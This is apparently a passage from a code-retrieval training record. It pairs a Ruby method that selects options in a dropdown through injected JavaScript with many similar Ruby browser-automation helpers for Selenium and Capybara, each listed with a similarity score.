element = element.downcase.gsub(' ', '_')\n wait_until{send(\"#{element}?\")}\n\n select = send(\"#{element}_element\")\n wait_until{select.visible?}\n\n select.hover\n end", "def scroll_to(element)\n @driver.execute_script(\"arguments[0].scrollIntoView();\", element)\nend", "def scroll_to_element(access_type,access_name)\n ele_scroll = WAIT.until {$driver.find_element(:\"#{access_type}\" => \"#{access_name}\")}\n ele_scroll.location_once_scrolled_into_view\nend", "def focus\n return if !@focusable\n if @form.validate_field != -1\n @form.select_field @id\n end\n end", "def custom_click(selector)\n selector.click\nrescue Capybara::Poltergeist::MouseEventFailed\n selector.trigger('click')\nend", "def click_selector(sym,id,selector_value)\n option = Selenium::WebDriver::Support::Select.new(driver.find_element(sym.to_sym,id))\n option.select_by(:text, selector_value)\n end", "def select_item(what)\n item = find_item(what)\n item.click if item\n end", "def scroll_to element\n element.ancestor(:scroll_area).scroll_to element\n end", "def select(option_locator)\n find_element(option_locator).click\n end", "def click_on_link(selector)\n\n click_link(selector)\n\n end", "def scroll_element(element)\n execute_script('arguments[0].scrollIntoView(true);', element)\n highlight_element(element)\n end", "def flash_scroll_and_ensure_click(dom_element)\n dom_element.wait_until(&:present?)\n dom_element.scroll.to\n dom_element.flash\n dom_element.click\nend", "def select_result_row(identifier)\n wait_for_element_and_click({:xpath => \"//div[@class=\\\"cspace-ui-SearchResultTable--common\\\"]//div[@aria-label=\\\"row\\\"][contains(.,\\\"#{identifier}\\\")]//input\"})\n end", "def element(selector)\n\t\tHpricot(@response.body).at(selector)\n\tend", "def scroll_to(element, device: T.unsafe(nil)); end", "def click(driver = $focus_driver)\r\n begin\r\n driver.find_element(self).click\r\n Log.info(\"Element clicked #{self.how} => #{self.what}\")\r\n rescue StandardError => e\r\n Log.fail(\"Element not clicked #{self.how} => #{self.what}\" + e.message)\r\n end\r\n end", "def move_to_element(element)\n driver.execute_script('arguments[0].scrollIntoView(true)', element)\n end", "def click_on_a_text_button_link(selector)\n\n click_on(selector)\n\n end", "def scroll_to_elem(by, value)\n elem = get_element(by, value)\n elem.location_once_scrolled_into_view\n sleep 0.3\n end", "def selection_element(element = None)\n execute(:selection, :element, element)\n end", "def focus\n unless RMQ.is_blank?(selected)\n selected.last.becomeFirstResponder\n end\n self\n end", "def select(*a)\n page.select selector_for(*a)\n end", "def focus(loc)\n @browser.element(parse_location(loc)).focus\n end", "def trigger_click_link(selector)\n find_link(selector).trigger(\"click\")\n end", "def div_by_text_click(div_text)\n div_by_text(div_text).click\nend", "def get_by(selector)\n\n end", "def find_first(selector, data)\n data = @data unless data\n results = (data/selector)\n if results and results.first\n results.first.inner_html.strip\n else\n nil\n end\n end", "def div_by_id_click(id_name)\n div_by_id(id_name).click\nend", "def scroll_into_view(element)\n script = <<-JS\n arguments[0].scrollIntoView(true);\n JS\n\n page.execute_script(script, element.native)\nend", "def find(*selectors, &block)\n _find(Selector.new(*selectors, &block))\n end", "def select_by_id(id_name)\n @browser.select_list(:id, id_name)\nend", "def selector(&block)\n @selector = block if block_given?\n @selector\n end", "def find_Freelancer(keyword)\n begin\n Page.find_element(@driver,FreelancerSearchView.class_variable_get(:@@freelancerSearchBoxArrow_icon)).click\n sleep(1)\n Page.find_element(@driver,FreelancerSearchView.class_variable_get(:@@findFreelancerOption_text.to_s)).click\n rescue StandardError => msg\n end\n sleep(2)\n @freelancer_textBox = Page.find_element(@driver,FreelancerSearchView.class_variable_get(:@@findfreelancer_searchbox.to_s))\n @freelancer_textBox.send_keys keyword.to_s\n Page.find_element(@driver,FreelancerSearchView.class_variable_get(:@@findfreelancer_searchIcon.to_s)).click\n sleep(2)\n end", "def find_first(selector={}, options={})\n h = options.dup\n h[:limit] = 1\n cursor = find(selector, h)\n cursor.next_object # don't need to explicitly close b/c of limit\n end", "def simulate_hover(element)\n page.execute_script(\"$('#{element}').show()\")\n wait_a_sec_for_selenium\n end", "def click_on_item(name, tag, container, content, match = true, klass = nil)\n map = SELECTOR_MAPPING[container][name][tag][ELEMENT]\n elem = eval(map)\n\n res = elem.find {|item| (match ? (item.text == content):((item.text).include? content))}\n\n res.click\n unless klass.nil?\n SitePrism::Waiter.wait_until_true {res[:class].include? klass}\n end\n sleep 1\n end", "def select(element_name)\n begin\n el(element_name).click\n rescue Exception => e\n $LOG.error \"error in selecting element \\n element name : #{element_name} \"+e.message\n $driver.save_screenshot(\"log/webscreenshot/webScreenshot_#{$webscreenshot}.png\")\n $webscreenshot = $webscreenshot+1\n raise \"error in selecting element \\n element name : #{element_name} \"+e.message\n end\n end", "def click_mystore_change\n find(:css, '.qa-Mys_Change').click\nend", "def focus(target)\n # javascript_tag \"jQuery(document).ready(function () { '##{h target.to_s}').focus(); });\"\n javascript_tag <<-HERE\n jQuery(document).ready( function() {\n jQuery('##{h target.to_s}').focus().focus();\n });\n HERE\n end", "def navigate_to_a_fanzone(fanzoneSelector)\n\n find(fanzoneSelector).click\n\n end", "def active_element\n driver.switch_to.active_element\n end", "def focus\r\n end", "def set_focus_to_id(id, othertxt=nil)\n javascript_tag(\"$('#{id}').focus()\");\n end", "def get_elem_and_click(by, value)\n elem = get_element(by, value)\n elem.click\n end", "def scroll_to(locator)\n script = 'arguments[0].scrollIntoView(true);'\n\n Capybara.current_session.driver.browser.execute_script(script, locator.native)\n end", "def hover_over_element(access_type,access_name)\n element = WAIT.until {$driver.find_element(:\"#{access_type}\" => \"#{access_name}\")}\n $driver.action.move_to(element).perform\nend", "def scroll_menu_to element\n element.ancestor(:menu).scroll_to element\n end", "def find_element(element, strategy=:css)\n @fox_driver.find_element(strategy, element)\n end", "def click_button_with_id(id, opts = {})\r\n\t if opts && opts[:index] && opts[:index].to_i() > 0\r\n\t\t\t\t\telements = find_elements(:id, id)\r\n\t\t\t\t\tthe_index = opts[:index].to_i() - 1 \r\n first_match = elements[the_index]\r\n focus_on_element(first_match)\r\n first_match.click\r\n\t\t\t\telse\r\n\t\t\t\t focus_on_element(find_element(:id, id))\r\n\t find_element(:id, id).click\r\n end\r\n\t\t\r\n end", "def select_list_element(identifier)\n platform.select_list_for(identifier.clone)\n end", "def clicar(element)\n element.click\n end", "def set_focus_to(id)\n javascript_tag(\" $(document).ready(function(){$('##{id}').focus()});\");\n end", "def set_focus_to(id)\n javascript_tag(\" $(document).ready(function(){$('##{id}').focus()});\");\n end", "def select locator, option_locator\r\n command 'select', locator, option_locator\r\n end", "def select locator, option_locator\r\n command 'select', locator, option_locator\r\n end", "def click_element(opt = {})\n search_element(opt) if opt != {}\n # click @element_id\n url=@session_url + \"/element/#{@element_id}/click\"\n click=post(url,'')\n return click\n end", "def find(selector)\n JQ(@j.JS.find(selector))\n end", "def click\n `#{@el}.click() || Opal.nil`\n end", "def find_selector(selector)\n matching_e = nil\n\n all(selector).each do |e|\n if yield e\n matching_e = e\n break\n end\n end\n\n matching_e\n end", "def select(*args, &block)\n browser.select(*args, &block)\n end", "def locate(type, locator)\n el = root_element.first(type, locator)\n el.highlight if el\n el\n end", "def select_item_from_search_results(item_name)\n item_name.strip! if item_name.is_a? String\n item = search_results.find_link(item_name)\n if item.visible?\n item.click\n else\n raise \"#{item_name} doesn't exist in search results\"\n end\n end", "def focus(name)\n Vedeu.trigger(:_focus_by_name_, name)\n end", "def click_dropdown(element_data_set, data_set)\n if ENV['PLATFORM_NAME'] =='android'\n dropdown = \"xpath://android.widget.ScrollView[1]\"\n required_xpath = \"xpath://*[@text='#{data_set}']\"\n elsif ENV['PLATFORM_NAME'] =='ios'\n dropdown = \"xpath://XCUIElementTypeWindow[1]/XCUIElementTypeOther[2]//XCUIElementTypeScrollView[1]\"\n required_xpath = \"predicate:label contains[c] '#{data_set}'\"\n end\n\n begin @driver.hide_keyboard\n rescue => e\n end\n \n sleep(3)\n $home_page.user_click(element_data_set)\n Timeout::timeout(DEFAULT_TIMEOUT) {swipe_up_element_until(required_xpath, dropdown)}\n sleep(3)\n $home_page.user_click(required_xpath)\nend", "def find(type, locator)\n el = root_element.find(type, locator)\n el.highlight\n el\n end", "def focused_element_id\n page.evaluate_script(\"document.activeElement.id\")\n end", "def wait_for_scroll_to_finish\n wait = Selenium::WebDriver::Wait.new(:timeout => 10)\n element = @browser.find_element xpath: TestConstants::SELECTION_BLOCK_XPATH\n wait.until { element.attribute('tabindex') == \"-1\" } \n end", "def click_on(locator)\n Logbook.message(\"Click on the element with locator #{locator}\")\n find(locator).click\n end", "def query_selector(node_id:, selector:)\n {\n method: \"DOM.querySelector\",\n params: { nodeId: node_id, selector: selector }.compact\n }\n end", "def go_to_preferences\n page.find('.account').trigger(:mouseover)\n click_link \"preferences\"\n page.should have_content(\"Edit Introductory Email\")\n end", "def scroll_to(element, device: nil)\n scroll(origin: element, device: device)\n end", "def search_for_proffesional()\r\n @search_dropdown.is_element_present_with_wait?()\r\n @search_dropdown.click()\r\n end", "def find(locator)\n @browser.find_element locator\n end", "def click_id(id)\n if @driver.is_keyboard_shown then\n @driver.hide_keyboard\n end\n @driver.find_element(:id, id).click\n end", "def hover_over_element(access_type, access_name)\n element = $driver.find_element(:\"#{access_type}\" => \"#{access_name}\")\n $driver.action.move_to(element).perform\nend", "def click_on_a_specific_fanzone_within_join_fanzone_panel(fanzoneSelector)\n\n find(fanzoneSelector).click\n\n end" ]
[ "0.67057604", "0.66400516", "0.6597134", "0.6597134", "0.65383637", "0.63706785", "0.6271941", "0.6228774", "0.6045374", "0.5711961", "0.568006", "0.5662004", "0.5633813", "0.56214005", "0.55724597", "0.55421734", "0.5492148", "0.54739857", "0.54595417", "0.5449888", "0.5431087", "0.542445", "0.5394126", "0.53651327", "0.5357066", "0.53310966", "0.5268267", "0.5264249", "0.5261483", "0.5261183", "0.52472323", "0.52444506", "0.5238884", "0.52142006", "0.5181942", "0.5161304", "0.51538306", "0.5134744", "0.5126559", "0.51258296", "0.5123045", "0.51187056", "0.51174587", "0.51134765", "0.50920767", "0.5089856", "0.5087403", "0.5079331", "0.5063984", "0.5061397", "0.5061352", "0.5056337", "0.5046169", "0.50436306", "0.5039509", "0.50349677", "0.5032965", "0.50290424", "0.5023876", "0.50098217", "0.49994507", "0.49984446", "0.4996754", "0.49966264", "0.4992344", "0.49848402", "0.49840167", "0.49815723", "0.49647775", "0.496044", "0.49584544", "0.49454725", "0.49451855", "0.49422282", "0.49413946", "0.4930134", "0.4930134", "0.49251035", "0.49251035", "0.49214038", "0.48981723", "0.4896177", "0.48849747", "0.48716903", "0.48653573", "0.48620254", "0.48609126", "0.4853834", "0.4850864", "0.48495692", "0.48444557", "0.48409674", "0.4837594", "0.48331875", "0.48232228", "0.480793", "0.479245", "0.47920945", "0.47892866", "0.47871578" ]
0.7462675
0
Triggers a change and input event once all the provided options have been selected. If there's no element matching selector, the method throws an error.
def select(selector, *values) values.each { |value| raise "Values must be strings. Found value '#{value}' of type '#{value.class}'" unless value.is_a? String } select_values = <<~JAVASCRIPT (element, values) => { if (element.nodeName.toLowerCase() !== 'select') throw new Error('Element is not a <select> element.'); const options = Array.from(element.options); element.value = undefined; for (const option of options) { option.selected = values.includes(option.value); if (option.selected && !element.multiple) break; } element.dispatchEvent(new Event('input', { 'bubbles': true })); element.dispatchEvent(new Event('change', { 'bubbles': true })); return options.filter(option => option.selected).map(option => option.value); } JAVASCRIPT query_selector_evaluate_function(selector, select_values, values).value! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def selected_changed\n return if searchable\n update_input\n trigger :change\n @input.blur unless multiple\n end", "def selected_changed\n return if searchable\n update_input\n end", "def select(*args, &block)\n _gestalt_call_tag(:select, args, &block)\n end", "def selectize_multi_select(key, *values)\n values.flatten.each do |value|\n open_selectize_chooser(key)\n execute_script(\"\n #{find_selectized_control_js(key)}.querySelector('input').value = '#{value}';\n document.querySelector$('##{key}.selectized').selectize.createItem();\n \")\n end\n end", "def set_selectbox_options\n set_kind_option\n set_scheduled_times_option\n set_user_option\n end", "def selects(option_text, options = {})\n find_select_option(option_text, options[:from]).choose\n end", "def process_select_options(os)\n vm = @opts[:value_method]\n tm = @opts[:text_method]\n sel = @opts[:selected] || @attr[:value]\n\n if @opts[:multiple]\n sel = Array(sel)\n cmp = lambda{|v| sel.include?(v)}\n else\n cmp = lambda{|v| v == sel}\n end\n\n os.map do |x|\n attr = {}\n if tm\n text = x.send(tm)\n val = x.send(vm) if vm\n elsif x.is_a?(Array)\n text = x.first\n val = x.last\n\n if val.is_a?(Hash)\n value = val[:value]\n attr.merge!(val)\n val = value\n end\n else\n text = x\n end\n\n yield [text, val, !val.nil? ? cmp.call(val) : cmp.call(text), attr]\n end\n end", "def give_next_options_to_continue\n puts \"\\n\\n\"\n puts \"------------------------------------Please select any of the following options-------------------------------------------\"\n puts \"1: Book another ticket\"\n puts \"2: Print total revenue with taxes\"\n puts \"3: Exit\"\n @selected_option = receive_input.to_i\n execute_on_basis_of_selected_option\n end", "def change_item(change_options)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n change_options.sort\n options = change_options.keys\n values = change_options.values\n count = options.length\n count.times {|i|\n Log.logger.info(\"Webform is changing option #{options[i]} to value #{values[i]}.\")\n temp = wait.until { @browser.find_element(:xpath =>\n \"//input[contains(@class, 'form-radio option-default') and @value = '#{options[i]}']/../../td[2]/input[2]\") }\n temp.clear\n temp.send_keys(values[i])\n sleep 2\n }\n end", "def selections\n selector.send(selector_method) rescue nil\n end", "def select_multiple(*values)\n clear\n values.flatten.each{ |value| select(value) }\n end", "def execute_on_basis_of_selected_option\n case @selected_option\n when 1\n book_tickets\n when 2\n print_total_revenue_of_sales \n give_next_options_to_continue\n end\n end", "def verify_options_settings(fieldname, remove_options, change_options, new_options, default_options)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n wait.until { @browser.find_element(:xpath => \"//label[contains(text(), '#{fieldname}')]\") }\n class_name = @browser.find_element(:xpath => \"//label[contains(text(), '#{fieldname}')]/following-sibling::*[1]\").attribute(\"class\")\n if class_name == \"form-select\"\n removed_options, added_options = configure_options_test(remove_options, change_options, new_options)\n removed_options.each do |rem|\n @browser.find_elements(:xpath => \"//option[text()='#{rem}']\").should have(0).items\n end\n added_options.each do |new|\n @browser.find_elements(:xpath => \"//option[text()='#{new}']\").should have_at_least(1).items\n end\n Log.logger.info \"default_options: #{default_options.inspect}\"\n @browser.find_element(:xpath => \"//option[text()='#{default_options[0]}']\").should be_selected\n elsif class_name == \"form-checkboxes\" || class_name == \"form-radios\"\n removed_options, added_options = configure_options_test(remove_options, change_options, new_options)\n removed_options.each do |rem|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{rem}')]\").should have(0).items\n end\n added_options.each do |new|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{new}')]\").should have_at_least(1).items\n end\n default_options.each do |default|\n @browser.find_elements(:xpath => \"//label[contains(text(), '#{default}')]/../input[@checked = 'checked']\").should have_at_least(1).items\n end\n else\n Log.logger.info(\"Following class '#{class_name}' is not a part of test for Webform.\")\n end\n end", "def process_options\n @options.each do |option, value|\n if value == true && VALID_OPTIONS.include?(option)\n self.send(\"option_#{option}\")\n end\n end\n end", "def edit_default_options(fieldname, default_options)\n default_options.each do |default_option|\n options_type = @browser.find_element(:xpath => \"//input[contains(@class, 'form-radio option-default')]\").attribute(\"type\")\n\n if options_type == \"checkbox\"\n options = @browser.find_elements(:xpath => \"//input[contains(@class, 'form-radio option-default')]\").size\n options.times do |i| # Uncheck all options\n i += 1\n checked = @browser.find_element(:xpath => \"//tbody/tr[#{i}]//input[contains(@class, 'form-radio option-default')]\").selected?\n if checked\n @browser.find_element(:xpath => \"//input[contains(@class, 'form-radio option-default') and @value = '#{default_option}']\").click\n JQuery.wait_for_events_to_finish(@browser)\n end\n end\n end\n\n element = (@browser.find_elements(:xpath => \"//input[contains(@class,'form-text option-value')]\").select do |option_textbox|\n option_textbox.attribute('value') == default_option\n end).first.find_element(:xpath => \"../..//input[contains(@class, 'form-radio option-default')]\")\n\n if !element.selected?\n element.click\n JQuery.wait_for_events_to_finish(@browser)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n\n wait.until do\n if fieldname == \"Drop-down list\"\n @browser.find_element(:xpath => \"//option[contains(text(), '#{default_option}') and @selected]\")\n else\n @browser.find_element(:xpath => \"//label[contains(text(), '#{default_option}')]/../input[contains(@checked, 'checked') and @type = '#{options_type}']\")\n end\n end\n end\n end\n end", "def add_select_options(opt)\n opt.on('--select x,y,z', Array,\n \"Select x, y, z columns only\") do |value|\n self.select = value.collect{|c| c.to_sym}\n end\n opt.on('--allbut x,y,z', Array,\n \"Select all but x, y, z columns\") do |value|\n self.allbut = value.collect{|c| c.to_sym}\n end\n end", "def validate_selectors selectors, options = {}\n error_messages = []\n\n selectors.each do | s |\n if s[:pacticipant_name].nil?\n error_messages << \"Please specify the pacticipant name\"\n else\n # TODO a bunch more validation\n if s.key?(:pacticipant_version_number) && s.key?(:latest)\n error_messages << \"A version number and latest flag cannot both be specified for #{s[:pacticipant_name]}\"\n end\n end\n end\n\n selectors.collect{ |selector| selector[:pacticipant_name] }.compact.each do | pacticipant_name |\n unless pacticipant_service.find_pacticipant_by_name(pacticipant_name)\n error_messages << \"Pacticipant #{pacticipant_name} not found\"\n end\n end\n\n if selectors.size == 0\n error_messages << \"Please provide 1 or more version selectors.\"\n end\n\n error_messages + validate_options(options)\n end", "def selects(option_text, options = {})\n if options[:from]\n select = find_select_list_by_name_or_label(options[:from])\n return flunk(\"Could not find select list #{options[:from].inspect}\") if select.nil?\n option_node = find_option_by_value(option_text, select)\n return flunk(\"Could not find option #{option_text.inspect}\") if option_node.nil?\n else\n option_node = find_option_by_value(option_text)\n return flunk(\"Could not find option #{option_text.inspect}\") if option_node.nil?\n select = option_node.parent\n end\n add_form_data(select, option_node.attributes[\"value\"] || option_node.innerHTML)\n # TODO - Set current form\n end", "def call_on_change changes = {}\n self.on_change.each do |h|\n h.call(self, changes)\n end\n end", "def change_selected_elements(element, selected)\n code = \"var selected_elements = $('#{selected}').value.split(',').without('');\"\n code += \"if ($(this).checked) {$('#{selected}').value = selected_elements.concat('#{element}').join(',')}\"\n code += \"else {$('#{selected}').value = selected_elements.without('#{element}').join(',')};\"\n end", "def handy_has_select?(css_selector, select_options)\n selector = css_selector[1..-1]\n case css_selector[0,1]\n when '.'\n attribute = \"@class='#{selector}'\"\n when '#'\n attribute = \"@id='#{selector}'\"\n else\n raise 'only css_selector class or id is currently supported'\n end\n\n page.should have_xpath(\"//select[#{attribute}]\")\n selects = page.find(:xpath, \"//select[#{attribute}]\")\n\n select_options.each do |h|\n selects.find(:xpath, \"./option[#{h[:position]}]\", :text => h[:text])\n if h[:value_match_type] == 'regex'\n selects.find(:xpath, \"./option[#{h[:position]}]\").value.should match Regexp.new(h[:value])\n else\n selects.find(:xpath, \"./option[#{h[:position]}]\", :text => h[:value])\n end\n end\nend", "def assert_select(*args, &block)\n super(HTML::Document.new(last_invoke).root, *args, &block)\n end", "def execute(input: $stdin, output: $stdout)\n choices = %w[vodka beer wine whisky bourbon]\n puts prompt.multi_select('Select drinks?', choices)\n\n choices = { vodka: 1, beer: 2, wine: 3, whisky: 4, bourbon: 5}\n puts prompt.multi_select('Select drinks (return enum values)?', choices)\n\n # NOT WORKING\n # puts prompt.multi_select('Select drinks?') do |menu|\n # menu.choice :vodka, {score: 1}\n # menu.choice :beer, 2\n # menu.choice :wine, 3\n # # menu.choices whisky: 4, bourbon: 5\n # end\n\n # NOT WORKING\n # puts prompt.multi_select('Select drinks?') do |menu|\n # menu.default 2, 5\n\n # menu.choice :vodka, {score: 10}\n # menu.choice :beer, {score: 20}\n # menu.choice :wine, {score: 30}\n # menu.choice :whisky, {score: 40}\n # menu.choice :bourbon, {score: 50}\n # end\n\n # NOT WORKING\n # puts prompt.multi_select('Select drinks?') do |menu|\n # menu.enum ')'\n\n # menu.choice :vodka, {score: 10}\n # menu.choice :beer, {score: 20}\n # menu.choice :wine, {score: 30}\n # menu.choice :whisky, {score: 40}\n # menu.choice :bourbon, {score: 50}\n # end\n\n puts prompt.multi_select('Select drinks (can cycle)?', %w[vodka beer wine], cycle: true)\n\n choices = { vodka: 1, beer: 2, wine: 3, whisky: 4, bourbon: 5 }\n puts prompt.multi_select('Select drinks (see help-->)?', choices, help: 'This is where I can be very helpful')\n\n letters = ('A'..'Z').to_a\n prompt.multi_select('Choose your letter (paginated)?', letters, per_page: 4)\n\n drinks = [\n 'bourbon',\n { name: 'sake', disabled: '(out of stock)' },\n 'vodka',\n { name: 'beer', disabled: '(out of stock)' },\n 'wine',\n 'whisky'\n ]\n prompt.multi_select('Choose your favourite drink (some are disabled)?', drinks)\n\n choices = %w[vodka beer wine whisky bourbon]\n prompt.multi_select('Select drinks (no echo to the right)?', choices, echo: false)\n\n choices = %w[vodka beer wine whisky bourbon]\n prompt.multi_select('Select drinks (typeahead is supported)?', choices, filter: true)\n\n choices = %w[vodka beer wine whisky bourbon]\n prompt.multi_select('Select drinks (only 2 to choose from)?', choices, max: 2)\n\n choices = %w[vscode emacs nano vim]\n prompt.enum_select('Select an editor (enum)?', choices)\n\n # NOT WORKING\n # choices = %w[vscode nano vim emacs]\n # puts prompt.enum_select('Select an editor?') do |menu|\n # menu.choice :vscode, '/bin/code'\n # menu.choice :nano, '/bin/nano'\n # menu.choice :vim, '/usr/bin/vim'\n # menu.choice :emacs, '/usr/bin/emacs'\n # end\n\n # NOT WORKING\n # choices = %w[vscode nano vim emacs]\n # prompt.enum_select('Select an editor?') do |menu|\n # menu.default 3\n # menu.enum '.'\n\n # menu.choice :vscode, '/bin/code'\n # menu.choice :nano, '/bin/nano'\n # menu.choice :vim, '/usr/bin/vim'\n # menu.choice :emacs, '/usr/bin/emacs'\n # end\n\n :gui\n end", "def have_all_of_selectors(...)\n Matchers::HaveAllSelectors.new(...)\n end", "def insel=(val)\n case val\n when Fixnum\n 4.times {|i| send(\"input_sel#{i}=\", val)}\n when Array\n val.each_with_index {|v,i| send(\"input_sel#{i}=\", v) if v}\n when Hash\n insel(val)\n end\n end", "def selected_options\n options.select { |e| e.selected? }\n end", "def elements_for_select(elements)\n return [] if elements.nil?\n options = elements.collect do |e|\n [\n Element.display_name_for(e['name']),\n e['name']\n ]\n end\n options_for_select(options)\n end", "def have_any_of_selectors(...)\n Matchers::HaveAnySelectors.new(...)\n end", "def multi_manipulate_option(options)\n if options == nil\n return\n end\n options.each do |manip_type, *args|\n if manip_type != nil\n manipulate_option_raw(manip_type.to_sym, *args )\n print \".\"\n end\n end\n end", "def selected_options; end", "def selected_options; end", "def select(*rest) end", "def select(*rest) end", "def fill_in_contact_info options = DEFAULT_CONTACT_INFO\n options.each do |option, value|\n begin\n fills_in option, :with => value\n rescue RuntimeError # different method needed for picking from select box (i.e. the State box)\n selects value, :from => option\n end\n end\n clicks_button \"Continue\"\n end", "def execute_alerts\n #iterate through all alerts, filtering out ones that don't match; with each of the remaining alerts, call Alert#notify_user\n # ad_options = self.options.includes(:option_value) #.includes(:option_class)\n ad_options = self.combined_options\n matching_alerts = []\n \n self.candidate_alerts.each do |alert|\n matching_alert = true\n \n unless(matches_date_or_integer_options?(alert.alert_integer_options, ad_options) &&\n matches_date_or_integer_options?(alert.alert_date_options, ad_options) && \n matches_string_or_boolean_options?(alert.alert_string_options, ad_options) &&\n matches_string_or_boolean_options?(alert.alert_boolean_options, ad_options))\n \n matching_alert = false \n end\n #debugger\n matching_alerts << alert if(matching_alert) \n end\n \n matching_alerts.each do |alert|\n alert.notify_user(self)\n end \n end", "def option_selected\n puts \"Your option has been selected successfully!\"\nend", "def request_select\n end", "def ask_select prompt=\"Enter selection pattern: \"\n ret = get_string prompt\n return if ret.nil? || ret == \"\"\n indices = get_matching_indices ret\n #$log.debug \"listselectionmodel: ask_select got matches#{@indices} \"\n return if indices.nil? || indices.empty?\n indices.each { |e|\n # will not work if single select !! FIXME\n add_row_selection_interval e,e\n }\n end", "def verify_selection(user_input)\n VALID_SELECTIONS.include?(user_input)\nend", "def select\n self.alert = 'select'\n end", "def select_action(message, options)\n selection = nil\n until (1..options.length).include?(selection)\n selection = no_empty_inputs(message + \"\\n#{options.join(\"\\n\")}\").to_i\n end\n return selection\nend", "def select_multi(field_name, choices, options = {})\n power_options = power_options!(field_name, options)\n # generic_field(:select, super(field_name, choices, options), field_name, power_options)\n generic_field(:select, 'SELECT MULTI', field_name, power_options)\n end", "def run_on_change(paths)\n perform\n end", "def select(*args, &block)\n browser.select(*args, &block)\n end", "def selected_options\n options.select(&:selected?)\n end", "def call_change_listeners\n change_listeners.each do |listener|\n listener.call(self)\n end\n end", "def select_days_selection(days_selected, days_menu)\n TTY::Prompt.new.multi_select(\"Please select your days to book in:\", days_menu, cycle: true, marker: '>', echo: false, per_page: 7).each do |day|\n @availability[day.to_sym] = \"Booked Out\" # the string is converted back to a symbol, and availability is changed\n days_selected.push(day)\n end\n end", "def insel(opts=0..3)\n case opts\n when Fixnum\n send(\"input_sel#{opts}\")\n when Range, Array\n opts.map {|i| send(\"input_sel#{i}\")}\n when Hash\n # Read all current insel values\n insel_vals = insel\n opts.each do |sel, inputs|\n inputs = [inputs] unless inputs.respond_to? :each\n selval = case sel.to_s\n when 'adc'; 0\n when 'n0', 'noise0'; 1\n when 'n1', 'noise1'; 2\n when 'z', 'zero'; 3\n else next\n end\n inputs.each do |i|\n insel_idx = i / 8\n insel_shift = (i % 8) * 4\n insel_mask = (0b11) << insel_shift\n # Mask off current bits\n insel_vals[insel_idx] &= ~insel_mask\n # Or in new bits\n insel_vals[insel_idx] |= (selval << insel_shift)\n end # inputs.each\n end # opts.each\n # Write back new insel values\n insel_vals.each_with_index {|v, i| send(\"input_sel#{i}=\", v)}\n end # case opts\n end", "def selects(option_text, options = {})\n id_or_name_or_label = options[:from]\n \n if id_or_name_or_label\n field = find_field(id_or_name_or_label, SelectField)\n option = field.find_option(option_text)\n else\n option = find_select_option(option_text)\n end\n \n flunk(\"Could not find option #{option_text.inspect}\") if option.nil?\n option.choose\n end", "def target_devices(*devices)\n visit edit_url\n # reset the currently selected devices\n page.evaluate_script(\"$('#offer_device_types option').each(function() { $(this).attr('selected', null); })\")\n devices.each do |device|\n # re-select the given devices\n page.evaluate_script(\"$('#offer_device_types option[value=\\\"#{device}\\\"]').attr('selected', 'selected')\")\n end\n click_button 'Save Changes'\n end", "def run_on_changes(paths)\n run_all()\n end", "def after_price_change(options)\n @extensions.each do |extension|\n if extension.respond_to?(:after_price_change)\n extension.after_price_change(options)\n end\n end\n end", "def select(*args, &block)\n browser.within(component_locator) do\n browser.select(*args, &block)\n end\n end", "def set_multiple(options)\n options.each do |option, value|\n set(option, value)\n end\n end", "def weekday_select(object, method, options = T.unsafe(nil), html_options = T.unsafe(nil), &block); end", "def run_all\n run_on_changes\n end", "def handle_selection_buttons(members,\n members_chosen = :members_chosen,\n choices = :choices,\n choices_chosen = :choices_chosen)\n if params[:button].ends_with?(\"_left\")\n handle_selection_buttons_left(members, members_chosen, choices, choices_chosen)\n elsif params[:button].ends_with?(\"_right\")\n handle_selection_buttons_right(members, members_chosen, choices, choices_chosen)\n elsif params[:button].ends_with?(\"_allleft\")\n handle_selection_buttons_allleft(members, members_chosen, choices, choices_chosen)\n elsif params[:button].ends_with?(\"_up\")\n handle_selection_buttons_up_down(members, members_chosen, choices, choices_chosen, true)\n elsif params[:button].ends_with?(\"_down\")\n handle_selection_buttons_up_down(members, members_chosen, choices, choices_chosen, false)\n elsif params[:button].ends_with?(\"_sync\")\n handle_selection_buttons_sync_async(members, members_chosen, choices, choices_chosen, true)\n elsif params[:button].ends_with?(\"_async\")\n handle_selection_buttons_sync_async(members, members_chosen, choices, choices_chosen, false)\n end\n end", "def run_on_changes(paths)\n @builder.notify\n end", "def run_on_change(paths)\n end", "def whenAllEqual(nodesSelector, nodeTest, triggerValue, interval = 5, &block)\n _warn_deprecated_command(\"whenAllEqual\")\n whenAll(nodesSelector, nodeTest, interval, triggerValue, &block)\n end", "def check_all\n wait\n $browser.find_element(:xpath, \"#{@locator}/thead/tr/th/div/input[contains(@name, 'selectAllControl')]\").click\n end", "def select\r\n assert_exists\r\n if(@how == :text)\r\n @select_list.select(@what)\r\n elsif(@how == :value)\r\n @select_list.select_value(@what)\r\n end \r\n end", "def build_options_and_select(type, selected, options = T.unsafe(nil)); end", "def autoselect_entries!\n if employee_entries.present?\n raise 'This PayrollPeriod already has employee_entries! Can’t autoselect_entries!'\n end\n \n tickets = Ticket::Ticket.where(first_employee_entry: start_date..end_date)\n tickets.each do |ticket|\n ticket.employee_entries.each do |employee_entry|\n if employee_entry.payroll_period\n raise 'PayrollPeriod.autoselect_entries! was called for a date range that already has payroll data.'\n end\n employee_entry.payroll_period = self\n if not employee_entry.save\n raise employee_entry.errors.inspect\n end\n end\n end\n \n calculate!\n end", "def select_all\n # FIXME\n driver.operaAction('Select all')\n end", "def update_sell_selection()\n item = @sell_window.selected_item.item\n\n if Input.trigger?(Input::B)\n Sound.play_cancel\n cancel_command()\n \n elsif Input.repeat?(Input::DOWN) || Input.repeat?(Input::UP)\n update_item_stats(item)\n \n elsif Input.repeat?(Input::Y) || Input.repeat?(Input::Z)\n update_character_select(Input.press?(Input::Z))\n \n elsif Input.repeat?(Input::RIGHT) || Input.repeat?(Input::LEFT)\n if (Input.press?(Input::RIGHT) && !@sell_window.selected_item.is_max_number?) ||\n (Input.press?(Input::LEFT) && !@sell_window.selected_item.is_min_number?)\n Sound.play_cursor\n update_number_select(Input.press?(Input::RIGHT), @sell_window)\n update_transaction(@sell_window.selected_items)\n end\n \n elsif Input.trigger?(Input::C)\n if (@sell_window.selected_items.size == 0)\n Sound.play_buzzer\n else\n Sound.play_decision\n 